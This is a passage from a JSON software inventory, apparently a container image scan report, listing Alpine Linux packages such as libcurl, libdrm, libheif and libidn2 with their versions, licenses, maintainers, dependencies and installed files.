"8.20.0-r1", "Arch": "x86_64", "SrcName": "curl", "SrcVersion": "8.20.0-r1", "Licenses": [ "curl" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "brotli-libs@1.2.0-r1", "c-ares@1.34.6-r0", "ca-certificates-bundle@20260611-r0", "libcrypto3@3.5.7-r0", "libidn2@2.3.8-r0", "libpsl@0.21.5-r3", "libssl3@3.5.7-r0", "musl@1.2.6-r2", "nghttp2-libs@1.69.0-r0", "zlib@1.3.2-r0", "zstd-libs@1.5.7-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:439c0d792e76799cc9a94a785987c7dc88aefb00", "InstalledFiles": [ "usr/lib/libcurl.so.4", "usr/lib/libcurl.so.4.8.0" ], "AnalyzedBy": "apk" }, { "ID": "libdav1d@1.5.3-r0", "Name": "libdav1d", "Identifier": { "PURL": "pkg:apk/alpine/libdav1d@1.5.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "80639d963be4c9d8" }, "Version": "1.5.3-r0", "Arch": "x86_64", "SrcName": "dav1d", "SrcVersion": "1.5.3-r0", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Bart Ribbers \u003cbribbers@disroot.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:f50308906e3796f040689e3c80119b583946bca6", "InstalledFiles": [ "usr/lib/libdav1d.so.7", "usr/lib/libdav1d.so.7.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libde265@1.0.18-r0", "Name": "libde265", "Identifier": { "PURL": "pkg:apk/alpine/libde265@1.0.18-r0?arch=x86_64\u0026distro=3.24.1", "UID": "7b65c436d9e2a8b1" }, "Version": "1.0.18-r0", "Arch": "x86_64", "SrcName": "libde265", "SrcVersion": "1.0.18-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:79130d40c69cd2d9001f9443a1b04c78055ac424", "InstalledFiles": [ "usr/lib/libde265.so.0", "usr/lib/libde265.so.0.1.11" ], "AnalyzedBy": "apk" }, { "ID": "libdovi@3.3.2-r0", "Name": "libdovi", "Identifier": { "PURL": "pkg:apk/alpine/libdovi@3.3.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f79d222cfd9bbff6" }, "Version": "3.3.2-r0", "Arch": "x86_64", "SrcName": "libdovi", "SrcVersion": "3.3.2-r0", "Licenses": [ "MIT" ], "Maintainer": "Krassy Boykinov \u003ckboykinov@teamcentrixx.com\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:4565fbc34e573477c6b7f0dcff0e58a65ca05f08", "InstalledFiles": [ "usr/lib/libdovi.so.3", "usr/lib/libdovi.so.3.3.2" ], "AnalyzedBy": "apk" }, { "ID": "libdrm@2.4.134-r0", "Name": "libdrm", "Identifier": { "PURL": "pkg:apk/alpine/libdrm@2.4.134-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a66bbf4d4247bc82" }, "Version": "2.4.134-r0", "Arch": "x86_64", "SrcName": "libdrm", "SrcVersion": "2.4.134-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libpciaccess@0.19-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:25fc316016cb0ada020acea492ce8cc6475b7cff", "InstalledFiles": [ "usr/lib/libdrm.so.2", "usr/lib/libdrm.so.2.134.0", "usr/lib/libdrm_amdgpu.so.1", "usr/lib/libdrm_amdgpu.so.1.134.0", "usr/lib/libdrm_etnaviv.so.1", "usr/lib/libdrm_etnaviv.so.1.134.0", "usr/lib/libdrm_exynos.so.1", "usr/lib/libdrm_exynos.so.1.134.0", "usr/lib/libdrm_freedreno.so.1", "usr/lib/libdrm_freedreno.so.1.134.0", "usr/lib/libdrm_intel.so.1", "usr/lib/libdrm_intel.so.1.134.0", "usr/lib/libdrm_nouveau.so.2", "usr/lib/libdrm_nouveau.so.2.134.0", "usr/lib/libdrm_omap.so.1", "usr/lib/libdrm_omap.so.1.134.0", "usr/lib/libdrm_radeon.so.1", "usr/lib/libdrm_radeon.so.1.134.0", "usr/lib/libdrm_tegra.so.0", "usr/lib/libdrm_tegra.so.0.134.0", "usr/share/libdrm/amdgpu.ids" ], "AnalyzedBy": "apk" }, { "ID": "libdvdcss@1.4.3-r0", "Name": "libdvdcss", "Identifier": { "PURL": "pkg:apk/alpine/libdvdcss@1.4.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "afab275bcb71ff29" }, "Version": "1.4.3-r0", "Arch": "x86_64", "SrcName": "libdvdcss", "SrcVersion": "1.4.3-r0", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Leonardo Arena \u003crnalrd@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:882cca745169529018c462227b364c065651940e", "InstalledFiles": [ "usr/lib/libdvdcss.so.2", "usr/lib/libdvdcss.so.2.2.0" ], "AnalyzedBy": "apk" }, { "ID": "libdvdnav@6.1.1-r1", "Name": "libdvdnav", "Identifier": { "PURL": "pkg:apk/alpine/libdvdnav@6.1.1-r1?arch=x86_64\u0026distro=3.24.1", "UID": "d226c20f9883dd12" }, "Version": "6.1.1-r1", "Arch": "x86_64", "SrcName": "libdvdnav", "SrcVersion": "6.1.1-r1", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Timo Teräs \u003ctimo.teras@iki.fi\u003e", "DependsOn": [ "libdvdread@6.1.3-r2", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:a2159806adcfc94671668be2f02cea708cdf3571", "InstalledFiles": [ "usr/lib/libdvdnav.so.4", "usr/lib/libdvdnav.so.4.3.0" ], "AnalyzedBy": "apk" }, { "ID": "libdvdread@6.1.3-r2", "Name": "libdvdread", "Identifier": { "PURL": "pkg:apk/alpine/libdvdread@6.1.3-r2?arch=x86_64\u0026distro=3.24.1", "UID": "d4e7b86496b4fec7" }, "Version": "6.1.3-r2", "Arch": "x86_64", "SrcName": "libdvdread", "SrcVersion": "6.1.3-r2", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Timo Teräs \u003ctimo.teras@iki.fi\u003e", "DependsOn": [ "libdvdcss@1.4.3-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:23b158828e6fa831435c668dbd7d6cd0914698e4", "InstalledFiles": [ "usr/lib/libdvdread.so.8", "usr/lib/libdvdread.so.8.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libeconf@0.8.3-r0", "Name": "libeconf", "Identifier": { "PURL": "pkg:apk/alpine/libeconf@0.8.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6ed9098aba30b903" }, "Version": "0.8.3-r0", "Arch": "x86_64", "SrcName": "libeconf", "SrcVersion": "0.8.3-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:339ee06b8ab565ceac3302ad3b8e1cba177a4b68", "InstalledFiles": [ "usr/bin/econftool", "usr/lib/libeconf.so.0", "usr/lib/libeconf.so.0.8.3" ], "AnalyzedBy": "apk" }, { "ID": "libedit@20260508.3.1-r1", "Name": "libedit", "Identifier": { "PURL": "pkg:apk/alpine/libedit@20260508.3.1-r1?arch=x86_64\u0026distro=3.24.1", "UID": "98a763e822f29606" }, "Version": "20260508.3.1-r1", "Arch": "x86_64", "SrcName": "libedit", "SrcVersion": "20260508.3.1-r1", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "libncursesw@6.6_p20260516-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:4084f8ff8e83fe17ce0c9ec3f313604d6adc7481", "InstalledFiles": [ "usr/lib/libedit.so.0", "usr/lib/libedit.so.0.0.77" ], "AnalyzedBy": "apk" }, { "ID": "libexpat@2.8.1-r0", "Name": "libexpat", "Identifier": { "PURL": "pkg:apk/alpine/libexpat@2.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9b3a7621208f28cf" }, "Version": "2.8.1-r0", "Arch": "x86_64", "SrcName": "expat", "SrcVersion": "2.8.1-r0", "Licenses": [ "MIT" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:12efac51f4b4237bad70afdb4c00efb6bd4a95ed", "InstalledFiles": [ "usr/lib/libexpat.so.1", "usr/lib/libexpat.so.1.12.1" ], "AnalyzedBy": "apk" }, { "ID": "libffi@3.5.2-r1", "Name": "libffi", "Identifier": { "PURL": "pkg:apk/alpine/libffi@3.5.2-r1?arch=x86_64\u0026distro=3.24.1", "UID": "d3eaa921287b1ccd" }, "Version": "3.5.2-r1", "Arch": "x86_64", "SrcName": "libffi", "SrcVersion": "3.5.2-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:2f7b261f7fcecc4eebd8b330e7f6fb80713bfe3a", "InstalledFiles": [ "usr/lib/libffi.so.8", "usr/lib/libffi.so.8.2.0" ], "AnalyzedBy": "apk" }, { "ID": "libflac@1.4.3-r2", "Name": "libflac", "Identifier": { "PURL": "pkg:apk/alpine/libflac@1.4.3-r2?arch=x86_64\u0026distro=3.24.1", "UID": "97e4854d429a22e2" }, "Version": "1.4.3-r2", "Arch": "x86_64", "SrcName": "flac", "SrcVersion": "1.4.3-r2", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libogg@1.3.6-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:84e2d9db9e6d7f45ab136d5f5de9119443de091e", "InstalledFiles": [ "usr/lib/libFLAC.so.12", "usr/lib/libFLAC.so.12.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libftdi1@1.5-r5", "Name": "libftdi1", "Identifier": { "PURL": "pkg:apk/alpine/libftdi1@1.5-r5?arch=x86_64\u0026distro=3.24.1", "UID": "b3c26e39f25999a4" }, "Version": "1.5-r5", "Arch": "x86_64", "SrcName": "libftdi1", "SrcVersion": "1.5-r5", "Licenses": [ "LGPL-2.1-or-later", "GPL-2.0-only" ], "Maintainer": "Marian Buschsieweke \u003cmarian.buschsieweke@posteo.net\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r31", "confuse@3.3-r4", "libusb@1.0.30-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:fc319fac16eff1cca4aa6f40348dc5bc85694829", "InstalledFiles": [ "usr/bin/ftdi_eeprom", "usr/lib/libftdi1.so.2", "usr/lib/libftdi1.so.2.5.0", "usr/share/doc/libftdi1/example.conf" ], "AnalyzedBy": "apk" }, { "ID": "libgcc@15.2.0-r5", "Name": "libgcc", "Identifier": { "PURL": "pkg:apk/alpine/libgcc@15.2.0-r5?arch=x86_64\u0026distro=3.24.1", "UID": "8cf3d813d20beeee" }, "Version": "15.2.0-r5", "Arch": "x86_64", "SrcName": "gcc", "SrcVersion": "15.2.0-r5", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Ariadne Conill \u003cariadne@dereferenced.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:379c156c53e0cc140e87c79c0a3dd22b6ee51552", "InstalledFiles": [ "usr/lib/libgcc_s.so.1" ], "AnalyzedBy": "apk" }, { "ID": "libgcrypt@1.12.2-r0", "Name": "libgcrypt", "Identifier": { "PURL": "pkg:apk/alpine/libgcrypt@1.12.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "1a47927e2ef22768" }, "Version": "1.12.2-r0", "Arch": "x86_64", "SrcName": "libgcrypt", "SrcVersion": "1.12.2-r0", "Licenses": [ "LGPL-2.1-or-later", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libgpg-error@1.61-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:7c6aab180c51868f22d894fb727f3949b1e7b12a", "InstalledFiles": [ "usr/lib/libgcrypt.so.20", "usr/lib/libgcrypt.so.20.7.2" ], "AnalyzedBy": "apk" }, { "ID": "libgomp@15.2.0-r5", "Name": "libgomp", "Identifier": { "PURL": "pkg:apk/alpine/libgomp@15.2.0-r5?arch=x86_64\u0026distro=3.24.1", "UID": "24e20617b9b78bbe" }, "Version": "15.2.0-r5", "Arch": "x86_64", "SrcName": "gcc", "SrcVersion": "15.2.0-r5", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Ariadne Conill \u003cariadne@dereferenced.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:a50286334fca08d41b5409d8e31836bb977e45b2", "InstalledFiles": [ "usr/lib/libgomp.so.1", "usr/lib/libgomp.so.1.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libgpg-error@1.61-r0", "Name": "libgpg-error", "Identifier": { "PURL": "pkg:apk/alpine/libgpg-error@1.61-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c32e9121ef36ffb3" }, "Version": "1.61-r0", "Arch": "x86_64", "SrcName": "libgpg-error", "SrcVersion": "1.61-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:65f8078d970d6e50520ba22fd0a845c0a56f1413", "InstalledFiles": [ "usr/bin/gpg-error", "usr/lib/libgpg-error.so.0", "usr/lib/libgpg-error.so.0.42.1" ], "AnalyzedBy": "apk" }, { "ID": "libgpiod@2.2.4-r0", "Name": "libgpiod", "Identifier": { "PURL": "pkg:apk/alpine/libgpiod@2.2.4-r0?arch=x86_64\u0026distro=3.24.1", "UID": "67e2e11ef1723838" }, "Version": "2.2.4-r0", "Arch": "x86_64", "SrcName": "libgpiod", "SrcVersion": "2.2.4-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Luca Weiss \u003cluca@lucaweiss.eu\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:9e15c2dac9698d764ebc82b3c1e8cc14e096344d", "InstalledFiles": [ "usr/bin/gpiodetect", "usr/bin/gpioget", "usr/bin/gpioinfo", "usr/bin/gpiomon", "usr/bin/gpionotify", "usr/bin/gpioset", "usr/lib/libgpiod.so.3", "usr/lib/libgpiod.so.3.1.3" ], "AnalyzedBy": "apk" }, { "ID": "libheif@1.23.0-r0", "Name": "libheif", "Identifier": { "PURL": "pkg:apk/alpine/libheif@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "2b381c984711fdbb" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r31", "libgcc@15.2.0-r5", "libheif-dav1d@1.23.0-r0", "libheif-libde265@1.23.0-r0", "libsharpyuv@1.6.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:8a8f7f08b203a3045e1a10e763c04cf99a4dd703", "InstalledFiles": [ "usr/lib/libheif.so.1", "usr/lib/libheif.so.1.23.0", "usr/share/thumbnailers/heif.thumbnailer" ], "AnalyzedBy": "apk" }, { "ID": "libheif-aom@1.23.0-r0", "Name": "libheif-aom", "Identifier": { "PURL": "pkg:apk/alpine/libheif-aom@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "87458ade02612f1a" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "aom-libs@3.14.1-r0", "libgcc@15.2.0-r5", "libheif@1.23.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:2bea52a986f73c69d919871fd9faf6d0e457b275", "InstalledFiles": [ "usr/lib/libheif/libheif-aomdec.so", "usr/lib/libheif/libheif-aomenc.so" ], "AnalyzedBy": "apk" }, { "ID": "libheif-dav1d@1.23.0-r0", "Name": "libheif-dav1d", "Identifier": { "PURL": "pkg:apk/alpine/libheif-dav1d@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "5f6e119a403d644f" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "libdav1d@1.5.3-r0", "libgcc@15.2.0-r5", "libheif@1.23.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:6c77213f73bce201fcb4fd238a57acc70753b9bc", "InstalledFiles": [ "usr/lib/libheif/libheif-dav1d.so" ], "AnalyzedBy": "apk" }, { "ID": "libheif-ffmpeg@1.23.0-r0", "Name": "libheif-ffmpeg", "Identifier": { "PURL": "pkg:apk/alpine/libheif-ffmpeg@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a7ff3a78cd9a38be" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "ffmpeg-libavcodec@8.1.2-r0", "ffmpeg-libavutil@8.1.2-r0", "libgcc@15.2.0-r5", "libheif@1.23.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:eff57e83b7f3ac3ebc9936b10d90f220e2dcf3b1", "InstalledFiles": [ "usr/lib/libheif/libheif-ffmpegdec.so" ], "AnalyzedBy": "apk" }, { "ID": "libheif-jpeg@1.23.0-r0", "Name": "libheif-jpeg", "Identifier": { "PURL": "pkg:apk/alpine/libheif-jpeg@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "11a78e0ddeff167a" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "libheif@1.23.0-r0", "libjpeg-turbo@3.1.3-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:1b4d030b2bc03ba8da6499dedc864af0dd2b61c8", "InstalledFiles": [ "usr/lib/libheif/libheif-jpegdec.so", "usr/lib/libheif/libheif-jpegenc.so" ], "AnalyzedBy": "apk" }, { "ID": "libheif-libde265@1.23.0-r0", "Name": "libheif-libde265", "Identifier": { "PURL": "pkg:apk/alpine/libheif-libde265@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e30481c9501c4bcf" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "libde265@1.0.18-r0", "libgcc@15.2.0-r5", "libheif@1.23.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:4b3a544fac9a134f894f80aa84787effea825af2", "InstalledFiles": [ "usr/lib/libheif/libheif-libde265.so" ], "AnalyzedBy": "apk" }, { "ID": "libheif-rav1e@1.23.0-r0", "Name": "libheif-rav1e", "Identifier": { "PURL": "pkg:apk/alpine/libheif-rav1e@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c4747022d0a76a4f" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libheif@1.23.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2", "rav1e-libs@0.8.1-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:995a870849e0ccd6c7252acee76cc438166f3717", "InstalledFiles": [ "usr/lib/libheif/libheif-rav1e.so" ], "AnalyzedBy": "apk" }, { "ID": "libheif-svtenc@1.23.0-r0", "Name": "libheif-svtenc", "Identifier": { "PURL": "pkg:apk/alpine/libheif-svtenc@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "8aad9089f8e097ba" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "libSvtAv1Enc@4.1.0-r0", "libgcc@15.2.0-r5", "libheif@1.23.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:386e81f6687a0672856aebfc1a6106d34482aeee", "InstalledFiles": [ "usr/lib/libheif/libheif-svtenc.so" ], "AnalyzedBy": "apk" }, { "ID": "libheif-x264@1.23.0-r0", "Name": "libheif-x264", "Identifier": { "PURL": "pkg:apk/alpine/libheif-x264@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "d2533a87a5bca7a9" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libheif@1.23.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2", "x264-libs@0.164.3108-r1" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:56d238932c3a4a7a44b2b8c3f69f8ad0da358c29", "InstalledFiles": [ "usr/lib/libheif/libheif-x264.so" ], "AnalyzedBy": "apk" }, { "ID": "libheif-x265@1.23.0-r0", "Name": "libheif-x265", "Identifier": { "PURL": "pkg:apk/alpine/libheif-x265@1.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "61db050db6225d23" }, "Version": "1.23.0-r0", "Arch": "x86_64", "SrcName": "libheif", "SrcVersion": "1.23.0-r0", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libheif@1.23.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2", "x265-libs@4.1-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:3d0b4a755ad76902d846bd51a70b92ce8d50c480", "InstalledFiles": [ "usr/lib/libheif/libheif-x265.so" ], "AnalyzedBy": "apk" }, { "ID": "libhwy@1.3.0-r0", "Name": "libhwy", "Identifier": { "PURL": "pkg:apk/alpine/libhwy@1.3.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "452e25c76104f4a9" }, "Version": "1.3.0-r0", "Arch": "x86_64", "SrcName": "highway", "SrcVersion": "1.3.0-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Alex Xu (Hello71) \u003calex_y_xu@yahoo.ca\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:1800106d92cf42141beef5beab690bb0f2027943", "InstalledFiles": [ "usr/lib/libhwy.so.1", "usr/lib/libhwy.so.1.3.0" ], "AnalyzedBy": "apk" }, { "ID": "libid3tag@0.16.3-r0", "Name": "libid3tag", "Identifier": { "PURL": "pkg:apk/alpine/libid3tag@0.16.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "922b46cb4ecfbfc4" }, "Version": "0.16.3-r0", "Arch": "x86_64", "SrcName": "libid3tag", "SrcVersion": "0.16.3-r0", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:bc4da42629c3bcc7bbb2683094834049fa2664f8", "InstalledFiles": [ "usr/lib/libid3tag.so.0", "usr/lib/libid3tag.so.0.16.3" ], "AnalyzedBy": "apk" }, { "ID": "libidn2@2.3.8-r0", "Name": "libidn2", "Identifier": { "PURL": "pkg:apk/alpine/libidn2@2.3.8-r0?arch=x86_64\u0026distro=3.24.1", "UID": "bff421f953b410b7" }, "Version": "2.3.8-r0", "Arch": "x86_64", "SrcName": "libidn2", "SrcVersion": "2.3.8-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libunistring@1.4.2-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:5800d14ce89e16148f4ccc2df74235ce7aedf800", "InstalledFiles": [ "usr/lib/libidn2.so.0", "usr/lib/libidn2.so.0.4.0" ], "AnalyzedBy": "apk" }, { "ID": "libintl@1.0-r0", "Name": "libintl", "Identifier": { "PURL": "pkg:apk/alpine/libintl@1.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25c18808d8fc87e0" }, "Version": "1.0-r0", "Arch": "x86_64", "SrcName": "gettext", "SrcVersion": "1.0-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:282d6642ccac87237e43a864159d73cf5abe7550", "InstalledFiles": [ "usr/lib/libintl.so.8", "usr/lib/libintl.so.8.4.6" ], "AnalyzedBy": 